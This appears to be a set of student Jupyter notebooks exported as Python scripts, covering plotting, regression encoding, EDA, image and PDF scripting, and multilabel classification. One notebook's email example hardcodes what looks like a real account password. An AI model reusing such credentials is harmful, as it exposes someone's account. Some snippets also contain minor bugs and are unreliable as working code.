sns.load_dataset(\"anscombe\")\nanscombe\n\n# 앤스콤 데이터의 dataset 열 그룹으로 묶어서 보기\nanscombe.groupby('dataset').describe()\n\n# %matplotlib inline\nimport matplotlib.pyplot as plt\n\n# anscombe의 dataset 열이 I인 것을 찾기\ndataset_1 = anscombe[anscombe['dataset'] == 'I']\ndataset_1\n\n# 그래프의 x에 데이터셋의 x를 y에 데이터셋의 y를 넣어 표현\n# 즉, dataset 열이 |인 열의 각각의 점을 다 표현\nplt.plot(dataset_1['x'], dataset_1['y'])\n\n# plot 메소드의 세번째 인자는 모양과 색을 나타낸다.\n# ^은 삼각형을 나타내고 k는 black을 나타낸다.\n# 모양+색의 조합으로 사용한다\n# 아래 페이지에서 확인할 수 있다.\n# https://matplotlib.org/3.1.0/api/_as_gen/matplotlib.pyplot.plot.html\nplt.plot(dataset_1['x'], dataset_1['y'], '^k')\n\n# dataset이 |인것 이외의 나머지 데이터셋도 구해본다.\ndataset_2 = anscombe[anscombe['dataset'] == 'II'] \ndataset_3 = anscombe[anscombe['dataset'] == 'III'] \ndataset_4 = anscombe[anscombe['dataset'] == 'IV']\n\n# plt을 표현할 수 있는 figure 객체를 하나 만들어주고\n# 그 위에 subplot 4개를 추가해준다.\n# 따라서 4개의 서브 그래프를 표현할 수 있다.\nfig = plt.figure()\n# add_subplot의 인자는 순서대로 2행 2열의 n번째 subplot을 의미한다.\n# axes1은 2행 2열의 1번째 subplot을 의미한다.\naxes1 = fig.add_subplot(2, 2, 1)\naxes2 = fig.add_subplot(2, 2, 2)\naxes3 = fig.add_subplot(2, 2, 3)\naxes4 = fig.add_subplot(2, 2, 4)\n\n# 4개의 그래프에 각각 x좌표와 y좌표를 넣어 그래프를 그려준다.\naxes1.plot(dataset_1['x'], dataset_1['y'], 'o') \naxes2.plot(dataset_2['x'], dataset_2['y'], 'o') \naxes3.plot(dataset_3['x'], dataset_3['y'], 'o') \naxes4.plot(dataset_4['x'], dataset_4['y'], 'o')\nfig\n\n# 4개의 그래프에 각각 타이틀을 설정해준다.\n# 4개의 그래프를 만든 이후 타이틀을 추가해줬기 때문에\n# 각 타이틀의 레이아웃이 맞지 않는 결과를 볼 수 있다.\naxes1.set_title(\"dataset_1\") \naxes2.set_title(\"dataset_2\")\naxes3.set_title(\"dataset_3\") \naxes4.set_title(\"dataset_4\")\nfig\n\n# +\n# 추가적으로 제일 상위 타이틀을 추가해준다.\nfig.suptitle(\"Anscombe Data\")\n\nfig\n\n# +\n# 맞지않은 레이아웃을 타이트하게 맞게 맞추어준다.\nfig.tight_layout()\n\nfig\n# -\n\n# ## 기초 그래프 그리기 - 히스토그램, 산점도, 박스그래프\n\n# seaborn에서 tips 데이터를 불러온다.\ntips = sns.load_dataset(\"tips\") \nprint(tips.head())\nprint(type(tips))\ntips\n\nfig = plt.figure() \naxes1 = fig.add_subplot(1, 1, 1) \n\n# +\n# 히스토그램 그리기\n# bins를 이용해서 간격을 정한다.\n# bins를 리스트로 넣으면 해당 리스트에 값에서 히스토그램이 표현된다.\naxes1.hist(tips['total_bill'], bins=10) \naxes1.hist(tips['total_bill'], bins=list(range(0, 60,2))) \n# 타이틀과 x라벨, y라벨 추가\naxes1.set_title('Histogram of Total Bill')\naxes1.set_xlabel('Frequency') \naxes1.set_ylabel('Total Bill')\n\nfig\n\n# +\n# 산점도 그리기\nscatter_plot = plt.figure() \naxes1 = scatter_plot.add_subplot(1, 1, 1) \n# 전체 금액과 팁과의 관계를 산점도로 표현한다.\naxes1.scatter(tips['total_bill'], tips['tip']) \naxes1.set_title('Scatterplot of Total Bill vs Tip') \naxes1.set_xlabel('Total Bill') \naxes1.set_ylabel('Tip')\n\naxes1\n\n# +\n# 박스그래프 그리기\nboxplot = plt.figure()\naxes1 = boxplot.add_subplot(1, 1, 1) \n\n# 흡연자 중의 팁에 관한 분포와 비흡연자 중의 팁에 관한 분포를 보기 위한 그래프\naxes1.boxplot( \n [tips[tips['smoker'] == 'Yes']['tip'], \n tips[tips['smoker'] == 'No']['tip']], \n labels=['smoker', 'non-smoker'])\n# box그래프로 min, max 제 1사분위, 제 2사분위, 제 3사분위, 평균이 잘 표현된 것을 볼 수 있다.\nprint(tips[tips['smoker'] == 'Yes']['tip'].describe())\nprint(tips[tips['smoker'] == 'No']['tip'].describe())\n\naxes1.set_xlabel('smoking status') \naxes1.set_ylabel('Tip') \naxes1.set_title('Boxplot of Tips by Smoking Status')\n\n\n# -\n\n# ## 다변량 데이터로 다변량 그래프 그리기\n\ndef recode_sex(sex):\n if sex == 'Female':\n return 0 \n else:\n return 1\n# apply를 통해서 하나의 열에 특정 함수를 적용한 값을 구할 수 있다.\ntips['sex_color'] = tips['sex'].apply(recode_sex)\n\n# +\n# 산점도 그래프에 컬러를 달리해여 다변량 그래프 그리기\nscatter_plot = plt.figure() \naxes1 = scatter_plot.add_subplot(1, 1, 1)\n# s는 사이즈 c는 컬러\n# 즉 성별에따라 컬러가 다르게 찍힘\naxes1.scatter(\n x=tips['total_bill'], \n y=tips['tip'], \n s=tips['size'] * 10, \n c=tips['sex_color'],\n alpha=0.5)\n\naxes1.set_title('Total Bill vs Tip Colored by Sex and Sized by Size') \naxes1.set_xlabel('Total Bill') \naxes1.set_ylabel('Tip') \n# -\n\n# ## 데이터프레임과 시리즈로 그래프 그리기\n\n# +\n# subplots 메소드를 통해서 그래프를 바로 찍을수 도 있다.\n# fig 는 figure의 약자로 전체 subplot을 말하며 전체 사이즈를 말한다.\n# ax는 axe로써 전체 중 낱낱개를 말한다.\n# (ex. 서브 플랏 안에 2개 (a1, a2)의 그래프가 있따면 a1, a2를 일컬은다.)\n\nfig, ax = plt.subplots()\ntips['total_bill'].plot.hist()\n\nfig, ax = plt.subplots() \ntips[['total_bill', 'tip']].plot.hist(alpha=0.5, bins=20, ax=ax)\n# -\n\n# 6각형그래프 찍어보기\nfig, ax = plt.subplots() \nax = tips.plot.hexbin(x='total_bill', y='tip', gridsize=10, ax=ax)\n\n# 박스그래프도 마찬가지이다.\nfig, ax = plt.subplots() \nax = tips[['total_bill', 'tip']].plot.box(ax=ax)\n","repo_name":"lucku-1111/seujeon_story","sub_path":"i-can-pandas/documents/day04/day04_mapplot.ipynb","file_name":"day04_mapplot.ipynb","file_ext":"py","file_size_in_byte":5811,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"37415476425","text":"import pandas as pd\ndf = pd.read_csv('homeprices2.csv')\ndf\n\ndummie = pd.get_dummies(df.town)\ndummie\n\nmerged = pd.concat([df,dummie],axis = 'columns')\nmerged\n\nfinal = merged.drop(['town','west windsor'],axis=1)\nfinal\n\nfrom sklearn import linear_model\nmodel = linear_model.LinearRegression()\n\n\nx = final.drop(['price'],axis=1)\ny = final[['price']]\nr = model.fit(x,y)\nr.predict([[2700,0,1]])\n\n\nr.predict([[3000,0,0]])\n\nr.score(x,y)\n\nfrom sklearn.preprocessing import LabelEncoder\nle = LabelEncoder()\n\ndf1 = df\ndf1.town = le.fit_transform(df1.town)\ndf1\n\nx = df1[['town','area']].values\ny = df1.price\n\n\n# +\nfrom sklearn.compose import ColumnTransformer\n\n\ntransformer = ColumnTransformer(\n transformers=[(\"town\",OneHotEncoder(categories='auto'), [0])],remainder='passthrough' \n)\ntransformer.fit_transform(x.tolist())\n\nmodel.fit(x, y)\nprint(model.predict([[1, 2800]]))\nprint(model.predict([[2, 3400]])) \n# -\n\nd2\n\n# +\nd2 = pd.read_csv('carprices.csv')\ndum = pd.get_dummies(d2['Car Model'])\n\nnewd2 = pd.concat([d2,dum],axis='columns')\n\nfinal = newd2.drop(['Car Model','Audi A5'],axis='columns')\n\nfrom sklearn import linear_model\n\nmodel1 = linear_model.LinearRegression()\n\nx1= final.drop('Sell Price($)',axis='columns')\ny1 = final[['Sell Price($)']]\n\nr = model1.fit(x1,y1)\n\nr.predict([[45000,4,0,1]])\nr.score(x,y)\n\n# -\n\nfinal\n\nfinal\n","repo_name":"Mehulparekh144/Basic-ML-and-Data-Science-Projects","sub_path":"OneHotEncoding.ipynb","file_name":"OneHotEncoding.ipynb","file_ext":"py","file_size_in_byte":1326,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"1551296215","text":"# +\n# the code that follows presents a python implementation that creates a recombining tree based\n# on some fixed numerical parameters for the model\n\nimport math \n\n# initial value of the risky asset\nS0 = 36.\n# time horizon for the binomial tree simulation\nT = 1.0\n# constant short rate\nr = 0.06\n# constant volatilty factor\nsigma = 0.2\n\n\ndef simulate_tree(M):\n dt = T/M # lenght of the time intervals\n u = math.exp(sigma * math.sqrt(dt))\n d = 1 / u # factors for the upward and downward movements\n S = np.zeros((M + 1, M + 1 ))\n S[0,0 ] = S0\n z = 1\n for t in range (1, M + 1):\n for i in range(z):\n S[i,t] = S[i, t-1] * u\n S[i+ 1, t] = S[i, t-1] * d\n z +=1\n return s\n\n\n","repo_name":"joshua-writes-code/Data_science_public","sub_path":"binomial_trees.ipynb","file_name":"binomial_trees.ipynb","file_ext":"py","file_size_in_byte":728,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"14"} +{"seq_id":"5364728963","text":"# # Regular Expressions\n#\n# 1. [RE-Website](https://regex101.com)\n# 2. [W3Schools-Tutorials](https://www.w3schools.com/python/python_regex.asp)\n#\n\n# +\nimport re\n\npattern = re.compile(r\"(^[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\\.[a-zA-Z0-9-.]+$)\")\n\ntest_str = \"aditya@dds.com\"\n\nmatches = pattern.search(test_str)\nprint(matches)\n# -\n\npattern2 = re.compile(r\"([A-Za-z0-9$%#@]{8,}\\d)\")\npassword = 'fthgfhghh'\n\ncheck = pattern2.fullmatch(password)\nprint(check)\n\n# # Scripting \n#\n# ## 1.Image Processing with Pillow\n#\n# #### Steps involved\n# * Install Pillow using ```!pip3 install Pillow```\n# * Import the necessary Functions ```from PIL import Image, ImageFilter```\n\n# !pip3 install Pillow\n\n# +\nfrom PIL import Image, ImageFilter\n\nimg = Image.open('./images/4.5 pikachu.jpg')\nprint(img)\n# -\n\nprint(img.format)\n\nprint(img.size)\n\nprint(img.mode)\n\nprint(dir(img))\n\nfiltered_img = img.filter(ImageFilter.BLUR)\nfiltered_img.save(\"blur.png\",\"png\")\n\nsmooth_img = img.filter(ImageFilter.SMOOTH)\nsmooth_img.save(\"smooth.png\",\"png\")\n\n# GreyScale - we use 'L'\ngs = img.convert('L')\ngs.save(\"gs.png\",'png')\n\n# .show() method is used to actually open the picture\ngs.show()\n\ngs.rotate(90)\n\n# Resizing image - accepts a tuple\ngs.resize((600,600))\n\n# Cropping an Image - also accepts tuple\ngs.crop((100,100,400,400))\n\n# Thumbnail & Resizing - resizing doesn't maintain Aspect Ration .thumbnail does, both accepts tuple\nastro = Image.open('./images/6.1 astro.jpg')\nprint(astro)\n\nnew_astro = astro.resize((300,300))\nnew_astro\n\nnew_astro.save('thumbnail.jpeg')\n\nastro.thumbnail((400,400))\nastro.save('new_thumb.jpg')\n\nastro.size\n\n# ## 2.PDF Processing with PyPDF2\n#\n# #### Steps involved\n# * Install Pillow using ```!pip3 install PyPDF2```\n# * Import the necessary Functions ```import PyPDF2```\n\n# !pip3 install PyPDF2\n\nimport PyPDF2\n\nwith open('./pdfs/11.2dummy.pdf','rb') as file:\n reader = PyPDF2.PdfFileReader(file)\n # Prints the file object\n print(file)\n # Prints the no of pages\n print(reader.numPages)\n # Prints the actual page object\n print(reader.getPage(0))\n # Rotate the Page\n page = reader.getPage(0)\n print(page.rotate(180))\n # To save changes in file\n writer = PyPDF2.PdfFileWriter()\n writer.addPage(page.rotateCounterClockwise(90))\n with open('tilt.pdf','wb') as new_file:\n writer.write(new_file)\n\n# ## 3.Emails Sending\n#\n# 1. [Email-Python-Documentation](https://docs.python.org/3/library/email.examples.html)\n#\n# #### Steps involved\n# * Import the necessary Functions ```import smtplib```\n\nimport smtplib\nfrom email.message import EmailMessage\n\n# +\nemail = EmailMessage()\nemail['from'] = 'Aditya Mishra'\nemail['to'] = 'adityamishra0996@gmail.com'\nemail['subject'] = 'Won 1000000$'\n\nemail.set_content('I am a Data Scientist!')\n\nwith smtplib.SMTP(host='smtp.gamil.com', port=587) as smtp:\n smtp.ehlo()\n smtp.starttls()\n smtp.login('learn.coding0996@gmail.com','LEARN0996@@')\n smtp.send_message(email)\n print('email sent')\n# -\n\n# ## 4.Password Checker\n#\n# 1. [Pawned-Passwords-Checker](https://haveibeenpwned.com/Passwords)\n# 2. [Requests-Documentation](https://pypi.org/project/requests/)\n# 3. [SHA1-Hash-Generator](https://www.cleancss.com/sha1-hash-generator/)\n#\n# #### Steps involved\n# * Install Pillow using ```!pip install requests```\n# * Import the necessary Functions \n# ```\n# import requests\n# import hashlib\n# import sys\n# ```\n# ```**Built the Project- \"checkmypass.py\" directly**```\n\n# ## 5.Sentence Generator\n#\n# #### Steps involved\n#\n# ```**Built the Project- \"textpro.py\" directly**```\n\n# ## 6.Interactive English Dictionary\n#\n# #### Steps involved\n# * Import the necessary Functions \n# ```\n# import json\n# from difflib import get_close_matches\n# ```\n# ```**Built the Project- \"english-dict.py\" directly**```\n\n# ## 7.Map of Population and Volcanoes\n#\n# #### Steps involved\n# * Install Folium using ```!pip install folium``` ``` !pip install pandas```\n# * Import the necessary Functions \n# ```\n# import folium\n# import pandas\n# ```\n# ```**Built the Project- \"mapping.py\" directly**```\n\n#\n","repo_name":"RoyMustang-Dev/codes","sub_path":"brush-ups.ipynb","file_name":"brush-ups.ipynb","file_ext":"py","file_size_in_byte":4099,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-jupyter-script","pt":"0"} +{"seq_id":"8677490954","text":"# > Note: We can use `Flight Price` and `Google Playstore` datasets as per the discussion in lecture.\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n# %matplotlib inline\nimport warnings \nwarnings.filterwarnings(\"ignore\")\n\nflight = pd.read_excel('Assignment_25Mar_EDA2/flight_price.xlsx')\ngplay = pd.read_csv('Assignment_25Mar_EDA2/googleplaystore.csv')\n\nflight.head()\n\ngplay.head()\n\n# ### Q1. Load the flight price dataset and examine its dimensions. How many rows and columns does the dataset have? \n\nflight.shape\n\n# Number of rows: 10683 & columns:11\n\n# ### Q2. What is the distribution of flight prices in the dataset? Create a histogram to visualize the distribution.\n\nsns.histplot(x=flight.Price,kde=True)\n\n# Price column is right skewed or nearly log normal distribution.\n\n# ### Q3. What is the range of prices in the dataset? What is the minimum and maximum price? \n\nflight.Price.describe()\n\n\"The minimum price is {} and maximum price is {}\".format(flight.Price.describe()[3],flight.Price.describe()[7])\n\n# ### Q4. How does the price of flights vary by airline? Create a boxplot to compare the prices of different airlines.\n\nplt.figure(figsize=(20,15))\nsns.boxplot(data=flight,x=\"Airline\",y=\"Price\", palette=\"Set2\",color=\"r\")\nplt.xticks(rotation=45)\nplt.show()\n\n# Above picture shows the price value distribution by Airlines.
\n# `Jet-Airways Business` have the maximum price values.\n\n# ### Q5. Are there any outliers in the dataset? Identify any potential outliers using a boxplot and describe how they may impact your analysis.\n\nflight[\"Total_Stops\"]=flight[\"Total_Stops\"].map({\"non-stop\":0, \"1 stop\":1, \"2 stops\":2, \"3 stops\":3, \"4 stops\":4, np.nan:1})\n\nflight.boxplot()\n\nflight[flight.Price>62000].count()\n\n# Since `Jet-Airways Business` have the highest number of prices. We can confirm that atleast 2 outliers present in data set.\n\n# ### Q6. You are working for a travel agency, and your boss has asked you to analyze the Flight Price dataset to identify the peak travel season. What features would you analyze to identify the peak season, and how would you present your findings to your boss?\n#\n\nflight[[\"Day\",\"Month\",\"Year\"]]=flight.Date_of_Journey.str.split(\"/\",expand=True)\nflight[[\"Day\",\"Month\",\"Year\"]]=flight[[\"Day\",\"Month\",\"Year\"]].astype(int)\n\nsns.countplot(data=flight,x=\"Month\",palette=\"Set2\",color=\"r\")\nplt.xticks(ticks=np.arange(4),labels=[\"June\",\"July\",\"Aug\",\"Sep\"],rotation=45)\nplt.show()\n\n# The peak season months are June, Aug, Sep.\n\n# ### Q7. You are a data analyst for a flight booking website, and you have been asked to analyze the Flight Price dataset to identify any trends in flight prices. What features would you analyze to identify these trends, and what visualizations would you use to present your findings to your team?\n#\n\nflight.head()\n\n# As a data analyst for the booking website i would look for following:\n# 1. Peak seasons of travel - countplot with months\n# 2. Ticket Price brackets for the Airlines to target the respective customer category - boxplot with price and airline\n# 3. Busiest route with respect to time - scatter plot between Route & Dep_Time or Route & Arrival_Time\n# 4. Ticket price relation with Total_Stops - boxplot\n# 5. Duration of travel with respect to Arrival time - Scatter plot\n\n# ### Q8. You are a data scientist working for an airline company, and you have been asked to analyze the Flight Price dataset to identify the factors that affect flight prices. What features would you analyze to identify these factors, and how would you present your findings to the management team?\n\n# The step by step procedure to follow will be:\n# 1. **Data cleaning**
\n# Transform & Drop Date fo Journey into Y,M,D - already done in previous question
\n# Transform & Drop Date Arrival column into hours and minutes
\n# Transform & Drop Date Departure time
\n# Transform & Drop Date Total_Stops - already done in previous question
\n# Transform remaining Categorical features
\n#\n# 2. **Feature scaling, selection & EDA**
\n# Seperate the numeric and categorical columns
\n# Standardize the numeric columns for easy to compare
\n# Visaulization to get the insights/relationshsip between the variables
\n# Check the correlation matrix using heatmap
\n# Remove the features showing high corrleation with other independent features or seems logically non relevant
\n#\n# 3. **Encoding**
\n# Encode the categorical columns using OHE or SMOTE
\n#\n# 4. **Test train split**\n# 5. **Model selection**\n# 6. **Model fitting & prediction**\n# 7. **Performance matrix**\n\n# ### Q9. Load the Google Playstore dataset and examine its dimensions. How many rows and columns does the dataset have?\n\ngplay.head()\n\nprint(\"Number of rows: {} & coluns: {}\".format(gplay.shape[0],gplay.shape[1]))\n\n# ### Q10. How does the rating of apps vary by category? Create a boxplot to compare the ratings of different app categories.\n\ngplay.drop(gplay.index[10472], inplace=True)\ngplay.reset_index(drop=True)\n\nplt.figure(figsize=(20,15))\nsns.boxplot(data=gplay,x=\"Category\",y=\"Rating\", palette=\"Set2\",color=\"r\")\nplt.xticks(rotation=45)\nplt.show()\n\n# > **Insight:** Almose all the app categories have the median rating between 4 to 4.5\n\n# ### Q11. Are there any missing values in the dataset? Identify any missing values and describe how they may impact your analysis.\n\ngplay[gplay.isna().any(axis=1)]\n\ngplay.isna().sum()\n\n# There are 1480 rows where atleast 1 missing value is avaialble and 99.3% of these are in **Rating** column.
\n# Missing values can create biasness.
\n# Since many datas are missing in Rating column we can further investigate whether these exist majorily in certain apps.\n\n# ### Q12. What is the relationship between the size of an app and its rating? Create a scatter plot to visualize the relationship.\n\nsns.scatterplot(data=gplay,x=\"Size\",y=\"Rating\")\nplt.xticks(rotation=45)\nplt.show()\n\n# >**Inference**: As the size of app increases the number of ratings decreases and minimum rating value increases\n\n# ### Q13. How does the type of app affect its price? Create a bar chart to compare average prices by app type.\n\ngplay.Price=gplay.Price.str.replace(\"$\",\"\")\ngplay.Price=gplay.Price.astype(float)\n\nplt.figure(figsize=(15,10))\nsns.barplot(data=gplay,x=\"Type\",y=\"Price\")\nplt.show()\n\ngplay[gplay[\"Type\"]==\"Paid\"].Price.describe()\n\n# `Free` type of apps are more common than `Paid`.
\n# `Paid` types of apps has outliers but maximum of these apps are of <$5.\n\n# ### Q14. What are the top 10 most popular apps in the dataset? Create a frequency table to identify the apps with the highest number of installs.\n\ngplay.Installs=gplay.Installs.str.replace(\",\",\"\").str.replace(\"+\",\"\").astype(int)\n\ngplay_new=pd.DataFrame(gplay.groupby(\"App\")[\"Installs\"].sum())\ngplay_new=gplay_new.sort_values(by=\"Installs\",ascending=False)\ngplay_new\n\nprint(\"The top 10 apps by Installs are mentioned below:\"),gplay_new[:10]\n\n# ### Q15. A company wants to launch a new app on the Google Playstore and has asked you to analyze the Google Playstore dataset to identify the most popular app categories. How would you approach this task, and what features would you analyze to make recommendations to the company?\n\n# The Features that i will use for the analysis are `Category` and `Installs`.\n\ngplay_new2=pd.DataFrame(gplay.groupby(\"Category\")[\"Installs\"].sum())\ngplay_new2=gplay_new2.sort_values(by=\"Installs\",ascending=False)\ngplay_new2\n\nprint(\"The most popular app categories are\"),gplay_new2.index[:5]\n\n# ### Q16. A mobile app development company wants to analyze the Google Playstore dataset to identify the most successful app developers. What features would you analyze to make recommendations to the company, and what data visualizations would you use to present your findings?\n\ngplay.head()\n\n# To identify the most successful app developers on the Google Play Store, the following features could be analyzed:\n#\n# 1. Ratings: High ratings suggest that users are satisfied with the app, and it is more likely to be downloaded.\n#\n# 2. Installs: A high number of installs indicate that an app is popular and successful.\n#\n# 3. Reviews: User reviews can provide valuable insights into user satisfaction and provide feedback for future improvements.\n#\n# 4. Category: Certain categories such as games, social media, and productivity have higher user demand and revenue potential.\n#\n# 5. Price: The price of an app can impact its popularity and revenue.\n#\n# To present these findings, the following data visualizations could be used:\n#\n# 1. Scatterplot Matrix: A scatterplot matrix can show the relationship between different features, such as ratings, number of installs, and price.\n#\n# 2. Bar Chart: A bar chart can show the number of installs and ratings for different apps and developers.\n#\n# 3. Heatmap: A heatmap can show the correlation between different features and highlight which features are most strongly related to success.\n#\n# 4. Bubble Chart: A bubble chart can show the relationship between price, number of installs, and ratings for different apps.\n#\n# 5. Word Cloud: A word cloud can be used to visualize the most common words used in user reviews, providing insights into user satisfaction.\n#\n# By analyzing these features and using appropriate data visualizations, the mobile app development company can identify the most successful app developers on the Google Play Store and use this information to make informed decisions about future partnerships and investments.\n\n# ### Q17. A marketing research firm wants to analyze the Google Playstore dataset to identify the best time to launch a new app. What features would you analyze to make recommendations to the company, and what data visualizations would you use to present your findings?\n\n# To identify the best time to launch a new app on the Google Play Store, the following features could be analyzed:\n#\n# 1. Installs: The number of app downloads over a certain period can help identify trends in user behavior.\n#\n# 2. Ratings: The user ratings of existing apps in the same category can provide insight into user preferences and expectations.\n#\n# 3. Category: Certain app categories may have higher demand at certain times of the day or week.\n#\n# 4. User Demographics: Understanding the demographics of the target audience can help identify when they are most likely to be active on the app store.\n#\n# To present these findings, the following data visualizations could be used:\n#\n# 1. Bar Chart: A bar chart can be used to show the number of app downloads over a certain period and identify trends in user behavior.\n#\n# 2. Heatmap: A heatmap can be used to visualize user activity during different times of the day or week.\n#\n# 3. Radar Chart: A radar chart can be used to compare user ratings of existing apps in the same category and identify trends in user preferences.\n#\n# 4. Pie Chart: A pie chart can be used to visualize user demographics and identify when the target audience is most active on the app store.\n#\n# By analyzing these features and using appropriate data visualizations, the marketing research firm can identify the best time to launch a new app on the Google Play Store and use this information to maximize the chances of success for their clients.\n","repo_name":"FUZZZZI/MasterDS","sub_path":"Assignment_25Mar_EDA2/Assignment_25Mar_EDA2.ipynb","file_name":"Assignment_25Mar_EDA2.ipynb","file_ext":"py","file_size_in_byte":11291,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"0"} +{"seq_id":"2634761117","text":"from datetime import datetime\nprint(f'Päivitetty {datetime.now()}')\n\nimport pandas as pd\n\n#

Puuttuvat tai päällekkäiset aikaleimat ja havainnot

\n#\n# Aikasarjojen analysoinnissa ja aikasarjaennustamisessa puuttuvat ja päällekkäiset havainnot aiheuttavat ongelmia. \n#\n# Tarkastelen esimerkkinä kuukauden ensimmäisten päivien muodostamaa aikasarjaa, josta puuttuu välistä kahden kuukauden (huhtikuu ja toukokuu) tiedot.\n\n# Avaan datan:\ndf1 = pd.read_excel('https://taanila.fi/aika1.xlsx')\ndf1\n\n# Siirrän aikaleimat indeksiin:\ndf1.index = pd.to_datetime(df1['date'])\ndf1 = df1.drop('date', axis = 1)\ndf1\n\n# resample() lisää puuttuvat kuukaudet indeksiin. 'MS' tarkoittaa kuukauden ensimmäisiä päivä (MonthStart). Lisää aikafrekvenssejä löydät osoitteesta https://pandas.pydata.org/pandas-docs/stable/user_guide/timeseries.html#offset-aliases\n\ndf1 = df1.resample('MS').mean()\ndf1\n\n# Puuttuvat havainnot voin korvata interpolate()- tai fillna()-toiminnolla:\n#
    \n#
  • fillna() täydentää puuttuvat havainnot edellisestä havainnosta 'ffill' tai seuraavasta havainnosta 'bfill'
  • \n#
  • interpolate() laskee puuttuvat havainnot edellisen ja seuraavan havainnon perusteella.
  • \n#
\n\ndf1_f = df1.fillna(method = 'ffill')\ndf1_f\n\ndf1_i = df1.interpolate()\ndf1_i\n\n# Tarkastelen seuraavaksi esimerkkiä päällekkäisistä havainnoista. Seuraavassa esimerkissä on puuttuvien kuukausien (huhtikuu ja toukokuu) lisäksi päällekkäinen havainto helmikuun kohdalla.\n\ndf2 = pd.read_excel('https://taanila.fi/aika2.xlsx')\ndf2.index = pd.to_datetime(df2['date'])\ndf2.drop('date', axis = 1)\ndf2\n\n# resample() hoitaa myös päällekkäiset aikaleimat. Seuraavassa korvaan päällekkäiset havainnot keskiarvollaan ja puuttuvat havainnot interpoloin.\n\ndf2 = df2.resample('MS').mean()\ndf2_i = df2.interpolate()\ndf2_i\n\n# resample() on monipuolinen toiminto. Lue lisää https://pandas.pydata.org/pandas-docs/dev/reference/api/pandas.DataFrame.resample.html\n","repo_name":"taanila/aikasarjat","sub_path":"aikasarjan_korjaus.ipynb","file_name":"aikasarjan_korjaus.ipynb","file_ext":"py","file_size_in_byte":2062,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"0"} +{"seq_id":"86290848972","text":"import numpy as np\nimport sklearn\nimport pandas as pd\n\n# Note: I've put the csv files in a folder called data\ntrain = pd.read_csv(\"data/train.csv\", index_col=0)\nval = pd.read_csv(\"data/dev.csv\", index_col=0)\n\ntrain.shape\n\nval.shape\n\ntrain.head()\n\nval.head()\n\nval = val[~val.labels.str.contains(\":\")]\n\ntrain = train[~train.labels.str.contains(\":\")]\n\nval.shape, train.shape\n\n# # Remove broken label examples\n\nlabels_list = [label.split(\" \") for label in train['labels']]\nlabels_list = [label[0].split(\",\") for label in labels_list]\nlabels_list_val = [label.split(\" \") for label in val['labels']]\nlabels_list_val = [label[0].split(\",\") for label in labels_list_val]\n\n# +\n# # drop the broken indices - found them using this - need to ask on Piazza what's wrong with them\n# broken_indices = []\n# for i in range(len(labels_list)):\n# for j in range(len(labels_list[i])):\n# try:\n# int(labels_list[i][j]) \n# except:\n# #print(i, labels_list[i])\n# broken_indices.append(i)\n\n# +\n# # drop the broken indices - found them using this - need to ask on Piazza what's wrong with them\n# broken_indices_val = []\n# for i in range(len(labels_list_val)):\n# for j in range(len(labels_list_val[i])):\n# try:\n# int(labels_list_val[i][j]) \n# except:\n# #print(i, labels_list[i])\n# broken_indices_val.append(i)\n\n# +\n# labels_array = np.array(labels_list)\n# #labels_list = np.delete(labels_array, broken_indices).tolist()\n# labels_array_val = np.array(labels_list_val)\n# labels_list_val = np.delete(labels_array_val, broken_indices_val).tolist()\n# -\n\nlen(labels_list), len(labels_list_val)\n\n# # Convert labels\n\nlabels_list = [[int(s) for s in sublist] for sublist in labels_list] \n\nlabels_list_val = [[int(s) for s in sublist] for sublist in labels_list_val] \n\nlabels_list[0:10]\n\nfrom sklearn.preprocessing import MultiLabelBinarizer\nmlb = MultiLabelBinarizer()\nencoded_labels = mlb.fit_transform(labels_list)\n\nmlb.classes_\n\nencoded_labels_df = pd.DataFrame(encoded_labels, columns=mlb.classes_)\n\nmlb = MultiLabelBinarizer()\nencoded_labels_val = mlb.fit_transform(labels_list_val)\n\nmlb.classes_\n\nencoded_labels_df_val = pd.DataFrame(encoded_labels_val, columns=mlb.classes_)\n\n# +\n# columns_all = [i for i in range(3993)]\n\n# +\n# for i in columns_all:\n# if i not in encoded_labels_df.columns.tolist():\n# encoded_labels_df[i] = 0\n\n# +\n# encoded_labels_df = encoded_labels_df.sort_index(axis=1)\n\n# +\n# for i in columns_all:\n# if i not in encoded_labels_df_val.columns.tolist():\n# encoded_labels_df_val[i] = 0\n\n# +\n# encoded_labels_df_val = encoded_labels_df_val.sort_index(axis=1)\n# -\n\nencoded_labels_df_val.head()\n\nencoded_labels_df.head()\n\n\n# # Convert features\n\ndef make_dict(entry):\n # entry is a list with form ['id:value', 'id:value']\n col_dict = {}\n for word in entry:\n key, value = word.split(\":\")\n key = int(key)\n value = float(value)\n col_dict[key] = value\n return col_dict\n\n\n# drop broken indices\ntrain_df = train['features']\n#train_df = train_df.drop(broken_indices, axis=0)\nval_df = val['features']\n\ntrain_df.shape, val_df.shape\n\nfeatures = [item.split(\" \") for item in train_df]\ncol_dicts = [make_dict(entry) for entry in features]\n\nlen(col_dicts)\n\nfeatures_val = [item.split(\" \") for item in val_df]\ncol_dicts_val = [make_dict(entry) for entry in features_val]\n\nlen(col_dicts_val)\n\n# Turn features column into sparse dataframe\n# Note: missing values as NaN - should these be zeros?\nfeatures_df = pd.DataFrame(col_dicts)\nfeatures_df_val = pd.DataFrame(col_dicts_val)\n\nfeatures_df.shape\n\nfeatures_df_val.shape\n\nfeatures_df.head()\n\nfeatures_df_val.head()\n\n# ### CC and ECC implementation\n\nfrom sklearn.multioutput import ClassifierChain\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.metrics import label_ranking_average_precision_score\nfrom sklearn.svm import SVC\n\nfeatures_df = features_df.fillna(0)\nfeatures_df_val = features_df_val.fillna(0)\n\nX_train = np.array(features_df)\nY_train = np.array(encoded_labels_df)\nx_val = np.array(features_df_val)\ny_val = np.array(encoded_labels_df_val)\n\nX_train.shape\n\nx_val\n\ny_val\n\nbase_lr = LogisticRegression()\n\nchain = ClassifierChain(base_lr, order='random', random_state=0)\nchain.fit(X_train, Y_train)\nY_pred_chain = 